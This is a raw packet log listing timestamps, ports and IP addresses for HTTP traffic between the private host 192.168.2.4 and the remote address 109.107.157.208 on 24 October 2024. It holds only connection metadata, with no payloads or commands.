Oct 24, 2024 13:27:09.822628021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822650909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822659016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822691917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822698116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822709084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822732925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822752953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822767019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822791100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822803974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822818995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822833061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.822856903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.822881937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826417923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826447964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826462030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826478004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826505899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826602936 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826632023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826643944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826649904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826689005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826730013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826756001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826772928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826776028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826788902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826803923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826807976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826821089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826829910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826844931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826860905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826867104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826877117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826888084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826910019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826924086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826924086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826941967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826956987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.826961040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826987028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.826989889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827003956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827028036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827023983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827035904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827058077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827094078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827127934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827168941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827172995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827183962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827213049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827231884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827331066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827346087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827372074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827373981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827397108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827399015 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827411890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827411890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827428102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827440023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827455044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827457905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827471018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827480078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827487946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827501059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827502966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827518940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827521086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827544928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827577114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827598095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827613115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827641964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827645063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827660084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827663898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827677011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827687025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827689886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827708960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827723980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827730894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827738047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827763081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827763081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827780008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827795029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827795982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827806950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827817917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827840090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827874899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827882051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827905893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827920914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827938080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827938080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827959061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827965021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827980995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.827986002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.827999115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828022003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828031063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828042030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828047037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828062057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828075886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828095913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828111887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828115940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828147888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828155041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828166962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828191996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828213930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828253031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828279018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828294992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828294992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828322887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828327894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828342915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828344107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828367949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828372955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828392982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828413010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828454018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828468084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828483105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828496933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828497887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828514099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828520060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828535080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828541994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828562975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828567028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828583956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828584909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828608036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828628063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828635931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828651905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828680992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828705072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828717947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828732014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828747988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828761101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828761101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828777075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828782082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828793049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828809023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828809977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828843117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828860998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.828938961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.828988075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829242945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829272032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829284906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829288960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829312086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829318047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829333067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829333067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829348087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829360008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829365969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829380035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829400063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829415083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829520941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829534054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829549074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829562902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829565048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829586029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829587936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829612017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829616070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829624891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829639912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829652071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829655886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829670906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829688072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829689026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829701900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829714060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829735041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829781055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829796076 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829811096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829823017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829827070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829842091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829857111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829858065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829865932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829880953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829893112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829895973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829909086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829915047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829924107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829940081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.829952955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.829989910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830413103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830426931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830449104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830456972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830463886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830491066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830492020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830507994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830523014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830526114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830538988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830555916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830559969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830571890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830586910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830595970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830602884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830615997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830616951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830631971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830638885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830646992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830662966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830673933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830692053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830708981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830712080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830724955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830735922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830740929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830755949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830770969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830774069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830784082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830797911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830810070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830812931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830827951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830831051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830845118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830867052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830869913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830885887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830900908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830902100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830915928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830925941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830931902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830945969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.830946922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.830981016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831016064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831043005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831065893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831079960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831085920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831094980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831108093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831110954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831126928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831130981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831144094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831155062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831160069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831175089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831190109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831193924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831206083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831218004 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831222057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831237078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831239939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831254005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831268072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831269026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831285954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831301928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831336975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831351042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831367016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831382990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831396103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831398010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831413984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831432104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831434965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831449986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831465960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831468105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831482887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831490993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831513882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831526995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831542015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831547976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831557989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831569910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831574917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831587076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831590891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831604958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.831614017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.831649065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.876754045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.876806021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.876843929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.876943111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.876943111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.935450077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935519934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.935556889 CEST	80	49730	109.107.157.208	192.168.2.4
